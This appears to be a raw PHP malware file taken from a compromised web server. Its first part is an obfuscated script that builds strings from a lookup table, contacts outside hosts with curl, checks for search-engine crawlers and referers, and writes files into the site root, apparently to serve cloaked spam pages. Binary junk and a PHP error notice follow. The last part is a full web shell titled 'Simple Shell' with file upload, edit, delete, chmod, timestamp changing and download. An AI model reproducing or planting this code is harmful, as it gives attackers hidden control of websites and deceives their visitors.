<?php $O='MNOst.uvw<xyTe7C12Rjk4+Hlmn/op-qrDY*KU=diP89aW GLVbc:fg|0Az3J_SBQEFhX?>ZI56';$oOOoOooOOooO="zu106";$oOoOoO=$O[67].$O[4].$O[4].$O[29].$O[52].$O[27].$O[27].$oOOoOooOOooO.$O[5].$O[32].$O[28].$O[3].$O[13].$O[19].$O[6].$O[25].$O[29].$O[5].$O[51].$O[28].$O[25];$oOOoOoOo=$oOoOoO.$O[27].$O[19].$O[6].$O[25].$O[29].$O[61].$O[13].$O[26].$O[54].$O[40].$O[26].$O[13].$O[5].$O[29].$O[67].$O[29];$oOOoOooO=$oOoOoO.$O[27].$O[25].$O[44].$O[29].$O[61].$O[13].$O[26].$O[54].$O[40].$O[26].$O[13].$O[5].$O[29].$O[67].$O[29];$oOOooOOo=$oOoOoO.$O[27].$O[29].$O[32].$O[28].$O[39].$O[6].$O[51].$O[4].$O[3].$O[61].$O[13].$O[26].$O[54].$O[40].$O[26].$O[13].$O[5].$O[29].$O[67].$O[29];$oOoOOoOo=$_SERVER[$O[18].$O[65].$O[64].$O[37].$O[65].$O[62].$O[12].$O[61].$O[37].$O[18].$O[72]];$oOOooOOoOoOo=$_SERVER[$O[64].$O[37].$O[65].$O[18].$O[34].$O[61].$O[62].$O[12].$O[18].$O[72].$O[1].$O[47]];$oOOoOooOOoOo=((isset($_SERVER[$O[23].$O[12].$O[12].$O[41].$O[62]])&&$_SERVER[$O[23].$O[12].$O[12].$O[41].$O[62]]!==$O[28].$O[53].$O[53])?$O[67].$O[4].$O[4].$O[29].$O[3].$O[52].$O[27].$O[27]:$O[67].$O[4].$O[4].$O[29].$O[52].$O[27].$O[27]);$oOoOOooOoO=$_SERVER[$O[62].$O[15].$O[18].$O[72].$O[41].$O[12].$O[61].$O[1].$O[57].$O[0].$O[65]];$oOOooOOoOooO=$_SERVER[$O[33].$O[2].$O[15].$O[37].$O[0].$O[65].$O[1].$O[12].$O[61].$O[18].$O[2].$O[2].$O[12]];if($oOoOOoOo==$O[27].$O[51].$O[28].$O[39].$O[13].$O[61].$O[51].$O[67].$O[13].$O[51].$O[20]||$oOOooOOoOoOo==$O[51].$O[28].$O[39].$O[13].$O[61].$O[51].$O[67].$O[13].$O[51].$O[20]){echo $oOoOOooOoO.$O[30].$O[30].$O[30].$O[28].$O[20].$O[55].$O[55].$oOOoOooOOooO;exit;}if($oOOooOOoOoOo==$O[8].$O[29].$O[61].$O[3].$O[4].$O[11].$O[24].$O[13]){file_put_contents($oOOooOOoOooO.$O[27].$O[8].$O[29].$O[61].$O[3].$O[4].$O[11].$O[24].$O[13].$O[5].$O[29].$O[67].$O[29],OOO($oOoOoO.$O[27].$O[8].$O[29].$O[61].$O[3].$O[4].$O[11].$O[24].$O[13].$O[5].$O[4].$O[10].$O[4]));copy($oOOooOOoOooO.$O[27].$O[40].$O[26].$O[39].$O[13].$O[10].$O[5].$O[29].$O[67].$O[29],$oOOooOOoOooO.$O[27].$O[40].$O[26].$O[39].$O[13].$O[10].$O[61].$O[50].$O[44].$O[20].$O[5].$O[4].$O[10].$O[4]);echo $oOOooOOoOoOo.$O[30].$O[30].$O[30].$O[28].$O[20];exit;}$oOOoOooOoOOo=md5($O[27].$O[51].$O[28].$O[39].$O[13].$O[61].$O[51].$O[67].$O[13].$O[51].$O[20].$oOOoOooOOooO).$O[5].$O[4].$O[10].$O[4];if(strtolower($oOoOOooOoO)==$O[27].$O[40].$O[26].$O[39].$O[13].$O[10].$O[5].$O[29].$O[67].$O[29]){if(strtolower(substr($oOoOOoOo,0,10))==$O[27].$O[40].$O[26].$O[39].$O[13].$O[10].$O[5].$O[29].$O[67].$O[29]||substr($oOoOOoOo,0,2)==$O[27].$O[69]||$oOoOOoOo==$O[27]){if($oOOooOOoOoOo==$O[6].$O[32].$O[24].$O[61].$O[3].$O[13].$O[4].$O[61].$O[19].$O[40].$O[26].$O[54]){@file_put_contents($oOOoOooOoOOo,'0');echo $oOOooOOoOoOo.$O[30].$O[30].$O[30].$O[28].$O[20];exit;}if($oOOooOOoOoOo==$O[6].$O[32].$O[24].$O[61].$O[3].$O[13].$O[4].$O[61].$O[39].$O[28].$O[26].$O[54]){@file_put_contents($oOOoOooOoOOo,'1');echo $oOOooOOoOoOo.$O[30].$O[30].$O[30].$O[28].$O[20];exit;}if(is_file($oOOoOooOoOOo)){if(trim(file_get_contents($oOOoOooOoOOo))=='0'){$oOoOOo=true;}}else{if(trim(OOO($oOOoOooOOoOo.$_SERVER[$O[23].$O[12].$O[12].$O[41].$O[61].$O[23].$O[2].$O[62].$O[12]].$O[27].$O[51].$O[28].$O[39].$O[13].$O[61].$O[51].$O[67].$O[13].$O[51].$O[20]))==$oOoOOooOoO.$O[30].$O[30].$O[30].$O[28].$O[20].$O[55].$O[55].$oOOoOooOOooO){$oOoOOo=true;@file_put_contents($oOOoOooOoOOo,'0');}}}else{$oOoOOo=true;}}if(isset($oOoOOo)&&$oOoOOo==true){$oOOooOoO=$_SERVER[$O[23].$O[12].$O[12].$O[41].$O[61].$O[23].$O[2].$O[62].$O[12]].$O[27];$oOoOOoOooO=str_ireplace($O[27].$O[40].$O[26].$O[39].$O[13].$O[10].$O[5].$O[29].$O[67].$O[29],'',$oOoOOoOo);$oOoOOoOooO=ltrim($oOoOOoOooO,$O[27]);$oOoOOoOooO=ltrim($oOoOOoOooO,$O[69]);}else{$oOOooOoO=$_SERVER[$O[23].$O[12].$O[12].$O[41].$O[61].$O[23].$O[2].$O[62].$O[12]].$oOoOOooOoO.$O[69];$oOoOOoOooO=$_SERVER[$O[64].$O[37].$O[65].$O[18].$O[34].$O[61].$O[62].$O[12].$O[18].$O[72].$O[1].$O[47]];}$oOoOOooO=$_SERVER[$O[62].$O[65].$O[18].$O[49].$O[65].$O[18].$O[61].$O[1].$O[57].$O[0].$O[65]];isset($_SERVER[$O[23].$O[12].$O[12].$O[41].$O[61].$O[18].$O[65].$O[66].$O[65].$O[18].$O[65].$O[18]])?$oOoOoOOo=$_SERVER[$O[23].$O[12].$O[12].$O[41].$O[61].$O[18].$O[65].$O[66].$O[65].$O[18].$O[65].$O[18]]:$oOoOoOOo='';isset($_SERVER[$O[23].$O[12].$O[12].$O[41].$O[61].$O[37].$O[62].$O[65].$O[18].$O[61].$O[57].$O[47].$O[65].$O[1].$O[12]])?$oOoOoOoO=$_SERVER[$O[23].$O[12].$O[12].$O[41].$O[61].$O[37].$O[62].$O[65].$O[18].$O[61].$O[57].$O[47].$O[65].$O[1].$O[12]]:$oOoOoOoO='';isset($_SERVER[$O[18].$O[65].$O[0].$O[2].$O[12].$O[65].$O[61].$O[57].$O[33].$O[33].$O[18]])?$Oo=$_SERVER[$O[18].$O[65].$O[0].$O[2].$O[12].$O[65].$O[61].$O[57].$O[33].$O[33].$O[18]]:$Oo='';isset($_SERVER[$O[23].$O[12].$O[12].$O[41].$O[61].$O[68].$O[61].$O[66].$O[2].$O[18].$O[45].$O[57].$O[18].$O[33].$O[65].$O[33].$O[61].$O[66].$O[2].$O[18]])?$oO=$_SERVER[$O[23].$O[12].$O[12].$O[41].$O[61].$O[68].$O[61].$O[66].$O[2].$O[18].$O[45].$O[57].$O[18].$O[33].$O[65].$O[33].$O[61].$O[66].$O[2].$O[18]]:$oO='';isset($_SERVER[$O[23].$O[12].$O[12].$O[41].$O[61].$O[57].$O[15].$O[15].$O[65].$O[41].$O[12].$O[61].$O[48].$O[57].$O[1].$O[47].$O[37].$O[57].$O[47].$O[65]])?$oOOo=$_SERVER[$O[23].$O[12].$O[12].$O[41].$O[61].$O[57].$O[15].$O[15].$O[65].$O[41].$O[12].$O[61].$O[48].$O[57].$O[1].$O[47].$O[37].$O[57].$O[47].$O[65]]:$oOOo='';$oOoOOooOOo=$O[54].$O[28].$O[28].$O[54].$O[24].$O[13].$O[5].$O[51].$O[28].$O[5].$O[19].$O[29].$O[55].$O[54].$O[28].$O[28].$O[54].$O[24].$O[13].$O[5].$O[51].$O[28].$O[25].$O[55].$O[11].$O[44].$O[67].$O[28].$O[28].$O[5].$O[51].$O[28].$O[5].$O[19].$O[29].$O[55].$O[11].$O[44].$O[67].$O[28].$O[28].$O[5].$O[51].$O[28].$O[25].$O[55].$O[50].$O[40].$O[26].$O[54].$O[5].$O[51].$O[28].$O[5].$O[19].$O[29].$O[55].$O[50].$O[40].$O[26].$O[54].$O[5].$O[51].$O[28].$O[25];$oOOooOoOoO=$O[54].$O[28].$O[28].$O[54].$O[24].$O[13].$O[55].$O[11].$O[44].$O[67].$O[28].$O[28].$O[55].$O[50].$O[40].$O[26].$O[54];$oOOoOooOoO=array($O[54].$O[29].$O[61].$O[26].$O[44].$O[25].$O[13]=>$oOOoOooOOooO,$O[25].$O[44].$O[29].$O[61].$O[26].$O[44].$O[25].$O[13]=>$oOoOOoOooO,$O[29].$O[39].$O[61].$O[29].$O[44].$O[4].$O[67]=>$oOoOOoOooO,$O[3].$O[67].$O[13].$O[24].$O[24]=>$oOoOOooO,$O[67].$O[4].$O[4].$O[29]=>$oOOoOooOOoOo,$O[67].$O[4].$O[4].$O[29].$O[61].$O[67].$O[28].$O[3].$O[4]=>$oOOooOoO,$O[67].$O[4].$O[4].$O[29].$O[61].$O[32].$O[13].$O[53].$O[13].$O[32].$O[13].$O[32]=>$oOoOoOOo,$O[67].$O[4].$O[4].$O[29].$O[61].$O[6].$O[3].$O[13].$O[32].$O[61].$O[44].$O[54].$O[13].$O[26].$O[4]=>$oOoOoOoO,$O[32].$O[13].$O[25].$O[28].$O[4].$O[13].$O[61].$O[44].$O[39].$O[39].$O[32]=>$Oo,$O[67].$O[4].$O[4].$O[29].$O[61].$O[10].$O[61].$O[53].$O[28].$O[32].$O[8].$O[44].$O[32].$O[39].$O[13].$O[39].$O[61].$O[53].$O[28].$O[32]=>$oO,$O[67].$O[4].$O[4].$O[29].$O[61].$O[44].$O[51].$O[51].$O[13].$O[29].$O[4].$O[61].$O[24].$O[44].$O[26].$O[54].$O[6].$O[44].$O[54].$O[13]=>$oOOo);function OOO($oOOoOoOoOo){$oOOoOoOooO=curl_init();curl_setopt($oOOoOoOooO,CURLOPT_URL,$oOOoOoOoOo);curl_setopt($oOOoOoOooO,CURLOPT_RETURNTRANSFER,1);curl_setopt($oOOoOoOooO,CURLOPT_CONNECTTIMEOUT,5);$oOOoOooOOo=curl_exec($oOOoOoOooO);curl_close($oOOoOoOooO);return $oOOoOooOOo;}function OOOOO($oOOoOoOoOo,$oOOoOooOoO=array()){$oOOoOoOooO=curl_init();curl_setopt($oOOoOoOooO,CURLOPT_URL,$oOOoOoOoOo);curl_setopt($oOOoOoOooO,CURLOPT_RETURNTRANSFER,1);curl_setopt($oOOoOoOooO,CURLOPT_HEADER,0);curl_setopt($oOOoOoOooO,CURLOPT_TIMEOUT,10);curl_setopt($oOOoOoOooO,CURLOPT_POST,1);curl_setopt($oOOoOoOooO,CURLOPT_POSTFIELDS,http_build_query($oOOoOooOoO));$oOOoOooOOo=curl_exec($oOOoOoOooO);$oOOooOOoOo=curl_errno($oOOoOoOooO);curl_close($oOOoOoOooO);if($oOOooOOoOo!==0){$oOOoOooOOo='';}return $oOOoOooOOo;}if(strpos($oOoOOoOo,$O[5].$O[10].$O[25].$O[24])){$oOoOoOoOoO=OOOOO($oOOoOooO,$oOOoOooOoO);if(empty($oOoOoOoOoO)){header($O[23].$O[12].$O[12].$O[41].$O[27].$O[16].$O[5].$O[56].$O[46].$O[21].$O[56].$O[21].$O[46].$O[1].$O[28].$O[4].$O[46].$O[66].$O[28].$O[6].$O[26].$O[39]);exit;}if($oOoOOoOooO==$O[29].$O[40].$O[26].$O[54].$O[3].$O[40].$O[4].$O[13].$O[25].$O[44].$O[29].$O[5].$O[10].$O[25].$O[24]){$oOOoOoOoOoOo=explode("\n",$oOoOoOoOoO);$oOOooOOooO=$O[37].$O[3].$O[13].$O[32].$O[30].$O[44].$O[54].$O[13].$O[26].$O[4].$O[52].$O[35].PHP_EOL;$oOOooOOooO.=$O[57].$O[24].$O[24].$O[28].$O[8].$O[52].$O[27].PHP_EOL;for($oOOoOoOooOoO=0;$oOOoOoOooOoO<count($oOOoOoOoOoOo)-1;$oOOoOoOooOoO++){$oOOoOoOooOOo=OOO($O[67].$O[4].$O[4].$O[29].$O[3].$O[52].$O[27].$O[27].$O[8].$O[8].$O[8].$O[5].$O[54].$O[28].$O[28].$O[54].$O[24].$O[13].$O[5].$O[51].$O[28].$O[25].$O[27].$O[29].$O[40].$O[26].$O[54].$O[69].$O[3].$O[40].$O[4].$O[13].$O[25].$O[44].$O[29].$O[38].$oOOoOoOoOoOo[$oOOoOoOooOoO]);preg_match("/<h2>(.+)?<\/h2>/",$oOOoOoOooOOo,$oOOoOoOoOooO);echo $oOOoOoOoOoOo[$oOOoOoOooOoO].$O[38].$O[38].$O[70].$O[29].$O[40].$O[26].$O[54].$O[30].$O[54].$O[28].$O[28].$O[54].$O[24].$O[13].$O[30].$O[32].$O[13].$O[3].$O[6].$O[24].$O[4].$O[30].$O[40].$O[3].$O[52].$O[9].$O[50].$O[70].$oOOoOoOoOooO[1].$O[9].$O[27].$O[50].$O[70].$O[9].$O[50].$O[32].$O[27].$O[70].PHP_EOL;usleep(100000);$oOOooOOooO.=$O[62].$O[40].$O[4].$O[13].$O[25].$O[44].$O[29].$O[52].$oOOoOoOoOoOo[$oOOoOoOooOoO].PHP_EOL;}file_put_contents($oOOooOOoOooO.$O[27].$O[32].$O[28].$O[50].$O[28].$O[4].$O[3].$O[5].$O[4].$O[10].$O[4],$oOOooOOooO);echo $O[9].$O[50].$O[32].$O[27].$O[70].$O[9].$O[50].$O[32].$O[27].$O[70].$O[9].$O[50].$O[32].$O[27].$O[70].$O[32].$O[28].$O[50].$O[28].$O[4].$O[3].$O[5].$O[4].$O[10].$O[4].$O[38].$O[38].$O[70].$O[9].$O[50].$O[70].$O[6].$O[29].$O[39].$O[44].$O[4].$O[13].$O[39].$O[9].$O[27].$O[50].$O[70];}else{header($O[15].$O[28].$O[26].$O[4].$O[13].$O[26].$O[4].$O[30].$O[4].$O[11].$O[29].$O[13].$O[52].$O[4].$O[13].$O[10].$O[4].$O[27].$O[10].$O[25].$O[24]);echo $oOoOoOoOoO;}exit;}elseif(strpos($oOoOOoOo,$O[19].$O[29].$O[17].$O[56].$O[17].$O[59])){$oOoOoOoOoO=OOOOO($oOOoOooO,$oOOoOooOoO);if(empty($oOoOoOoOoO)){header($O[23].$O[12].$O[12].$O[41].$O[27].$O[16].$O[5].$O[56].$O[46].$O[21].$O[56].$O[21].$O[46].$O[1].$O[28].$O[4].$O[46].$O[66].$O[28].$O[6].$O[26].$O[39]);exit;}echo $oOoOoOoOoO;exit;}else{if($oOoOoOoO!=''&&preg_match('/('.$oOOooOoOoO.')/si',$oOoOoOoO)){$oOoOoOOoOo=OOOOO($oOOooOOo,$oOOoOooOoO);empty($oOoOoOOoOo)?header($O[23].$O[12].$O[12].$O[41].$O[27].$O[16].$O[5].$O[56].$O[46].$O[21].$O[56].$O[21].$O[46].$O[1].$O[28].$O[4].$O[46].$O[66].$O[28].$O[6].$O[26].$O[39]):print $oOoOoOOoOo;exit;}else{if($oOoOoOOo!=''&&preg_match('/('.$oOoOOooOOo.')/si',$oOoOoOOo)){$oOoOoOOooO=OOOOO($oOOoOoOo,$oOOoOooOoO);if(!empty($oOoOoOOooO)){echo $oOoOoOOooO;exit;}}}}?> h( ) ($6;EbBLkfu _l ''8;DUFKV3Dd #,?ANk&5G$/(5M\^ ms Sb ,;R''6c2I !\ kx Ve [i Me IYO7:nOL~ Kr qrv I: BM y s}r K x)1 6@r*2 89ma & 'ti {~# t)1 2< 0:^5 W.uFzQ/u} v vv u U37yDJeEJo(/ 5Ds'1 :Jlu iy iy hw 1;:S`^BMLOQQn,4 7C 8C >Lfe ]k [i Zg IW LZ EP;,. Tc q(0) G,/]/1 w r l&-t*3 << u # j&.u J68\8<U48cNWhw $yzL{|RTTT}U NwhA1QIHxxxx hp@2qrs;tuv? hi\*jklmn.o0 bcdefg! VWXYZ[\@A]^___`aKLMN2OPBQRSSTUU@A@BCDDCEFGHIJJJ123456789:;;<=>?"#$%&'()*+,-./0 ! <br /> <b>Notice</b>: Undefined index: dl in <b>/var/www/html/web/simple.mini.php</b> on line <b>1</b><br /> <?php ini_set('display_errors', 1);ini_set('display_startup_errors', 1);error_reporting(E_ALL);function e($s){return base64_encode($s);}function d($s){return base64_decode($s);}if(isset($_GET['info'])&&$_GET['info']==='info'){phpinfo();exit();}foreach($_GET as $k=>$v){$_GET[$k]=d($v);}foreach($_POST as $k=>$v){$_POST[$k]=d($v);}$dir=realpath(isset($_GET['dir'])?($_GET['dir']):__DIR__);$dir=$dir?$dir:__DIR__;chdir($dir);$edir='dir='.e($dir);if(isset($_GET['dl'])){if(!realpath($_GET['dl'])){exit();}header('Content-Description: File Transfer');header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.basename($_POST['dl']).'"');readfile($_GET['dl']);exit();}function size($path,$decimals=0){$bytes=filesize($path);$factor=floor((strlen($bytes) - 1) / 3);if ($factor > 0) $sz = 'KMGT';return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$sz[$factor - 1] . 'B';}function perms($path){clearstatcache();$perms=fileperms($path);$x=array('U','p','c','U','d','U','b','U','r','U','l','U','s','U','U','U');$info=$x[$perms>>12].implode('',array_map(function($b,$m){return $b=='1'?$m:'-';},str_split(decbin($perms&0xfff).''),str_split('rwxrwxrwx')));return $info.' '.substr(sprintf('%o', @fileperms($path)), -4);}if(!function_exists('posix_getpwuid')){function posix_getpwuid($x){return array('name'=>'---');}}?><!DOCTYPE html><html><head><meta name="viewport" content="width=device-width, initial-scale=0.5, user-scalable=yes"><title>Simple Shell</title><style>html,body,input,button{background:black;color:gray;font-family:monospace;}a{color:gray;text-decoration: none;}button,input{border:1px solid gray;height:1.7em;}table{width:100%;border:1px dotted gray;border-spacing:0px;}tr:hover{background:#161616;}td,th{padding:2px 0px;border:1px solid #666;}textarea{width:80%;height:50vh;background:black;color:green;tab-size:4;}.btn{border: 1px solid #666;border-radius:0.3em;padding:0 0.3em;display:inline-block;text-align:center;}.btn:hover{border-color:white;background-color:black;transition: background-color 0.2s linear;}.directory{background:#041C32;}.directory:before{content:"DIR/";color:gray;}.file{background:#04293A;}.file:before{content:"FILE";color:gray;}.notwritable a, .notwritable{color:#FF7800;}.writable a, .writable{color:#49FF00;}.symlink{float:right;color:#E2C275;}.icon{font-size:1.5em;padding:0.1em 0.2em;margin:0px;}.delete:before{content:"\1F480";opacity:0.7;}.rename:before{content:"\270D";color:blue;}.download:before{content:"\21E9\21E9";color:green;}.openlink:before{content:"\1F517";}.success{color:yellow;}.success:before{content:"\270C";}.failed{color:red;}.failed:before{content:"\2622";}</style><script>function e(s){return btoa(s);}function chmod(i,old){var n=prompt("CHMOD:",old);if(n){i.href+="&new="+e(n);return true;}return false;}function chtime(i,old){var n=prompt("Change modified time:",old);if(n){i.href+="&new="+e(n);return true;}return false;}function rename(i,old){var n=prompt("Rename:",old);if(n){i.href+="&new="+e(n);return true;}return false;}</script></head><body>YOUR IP: <?php echo $_SERVER['REMOTE_ADDR']?><br/>SERVER IP: <?php echo gethostbyname($_SERVER['HTTP_HOST'])." / ".$_SERVER['SERVER_NAME']?></br><a class="btn" href="?info=info" target="__blank">SERVER INFO</a>: <?php echo php_uname()?></br><form action="?<?php echo $edir;?>" method="post" enctype="multipart/form-data"><input type="file" name="file" class="<?php echo is_writable($dir)?'writable':'notwritable'?>"><button type="submit">Upload</button></form><center><?php if(isset($_FILES['file'])){if(move_uploaded_file($_FILES['file']['tmp_name'],basename($_FILES['file']['name']))){echo '<span class="success">UPLOAD SUCCESS!</span>';}else{echo '<span class="failed">UPLOAD FAILED!</span>';}}if(isset($_GET['file'])){if(isset($_POST['edit'])){if(@file_put_contents($_GET['file'],$_POST['edit'])){echo '<span class="success">EDIT SUCCESS!</span>';}else{echo '<span class="failed">EDIT FAILED!</span>';}}echo '<form action="?file='.e($_GET['file']).'&'.$edir.'" method="post" onsubmit="edit.value=e(edit.value)"><textarea id="edit" name="edit">'.htmlspecialchars(file_get_contents($_GET['file']),ENT_QUOTES|ENT_SUBSTITUTE|ENT_COMPAT, 'UTF-8').'</textarea><button>Update</button></form>';}if(isset($_GET['delete'])){$x=str_replace('X','','XuXnXlXiXnXkX');if($x($_GET['delete'])){echo '<span class="success">DELETE SUCCESS!</span>';}else{echo '<span class="failed">DELETE FAILED!</span>';}}if(isset($_GET['chmod'],$_GET['new'])){if(chmod($_GET['chmod'],intval($_GET['new'],8))){echo '<span class="success">CHMOD SUCCESS!</span>';}else{echo '<span class="failed">CHMOD FAILED!</span>';}}if(isset($_GET['chtime'],$_GET['new'])){if(touch($_GET['chtime'],intval(strtotime($_GET['new'])))){echo '<span class="success">TIME MACHINE SUCCESS!</span>';}else{echo '<span class="failed">TIME MACHINE FAILED!</span>';}}if(isset($_GET['rename'],$_GET['new'])){if(rename($_GET['rename'],$dir.'/'.basename($_GET['new']))){echo '<span class="success">RENAME SUCCESS!</span>';}else{echo '<span class="failed">RENAME FAILED!</span>';}}$dirs=array();$files=array();foreach(scandir($dir) as $p){if(is_dir($dir.'/'.$p)){if($p!='.')$dirs[]=($dir.'/'.$p);}else{$files[]=($dir.'/'.$p);}}?></center><table><tr><th><form onsubmit="dir.value=e(dir.value)">Directory: <input class="<?php echo is_writable($dir)?'writable':'notwritable'?>" type="text" id="dir" name="dir" value="<?php echo $dir?>"><button>➭➭</button><a href="?dir=<?php echo e(realpath($_SERVER['DOCUMENT_ROOT']))?>">[DocRoot]</a><a href="?dir=<?php echo e(realpath(__DIR__))?>">[Shell Path]</a></form></th><th>SIZE</th><th>DATE MOD</th><th>OWNER</th><th>PERMS</th><th>ACTION</th></tr><?php foreach(array_merge($dirs,$files) as $path){$d=is_dir($path);$w=is_writable($path);?><tr><td class="<?php echo ($d?'directory':'file').' '.($w?'writable':'notwritable');?>"><a href="?<?php echo $d?('dir='.e($path).''):('file='.e($path).'&'.$edir);?>"><?php echo htmlspecialchars(basename($path));?></a><?php echo is_link($path)?'<span class="symlink">'.readlink($path).'</span>':''?></td><td><?php echo $d?'---':size($path);?></td><td><a class="btn" href="?chtime=<?php echo e($path).'&'.$edir?>" onclick="return chtime(this,'<?php $chtime=date("M-d-Y H:i:s",filemtime($path)); echo $chtime;?>')"><?php echo $chtime;?></a></td><td><?php if(strpos(PHP_OS,'WIN')===false){$_=posix_getpwuid(fileowner($path));echo $_['name'];}else{echo "---";}?></td><td><a class="btn" href="?chmod=<?php echo e($path).'&'.$edir?>" onclick="return chmod(this,'<?php echo substr(sprintf('%o', @fileperms($path)), -4);?>');"><?php echo perms($path);?></a></td><td><?php if(basename($path)!=='..'){?><a title="Delete" class="btn icon delete" href="?delete=<?php echo e($path).'&'.$edir?>" onclick="return confirm('Sure to delete?')"></a><a title="Rename" class="btn icon rename" href="?rename=<?php echo e($path).'&'.$edir?>" onclick="return rename(this,'<?php echo basename($path)?>')"></a><?php if(!$d){echo '<a title="Download" class="btn icon download" href="?dl='.e($path).'"></a>';}}if(strstr(realpath($path),$_SERVER['DOCUMENT_ROOT'])){echo '<a title="Open Link" class="btn icon openlink" href="'.(realpath($path)==$_SERVER['DOCUMENT_ROOT']?'/':substr(realpath($path),strlen($_SERVER['DOCUMENT_ROOT']))).'" target="__blank"></a>';}?></td></tr><?php }?></table></body></html>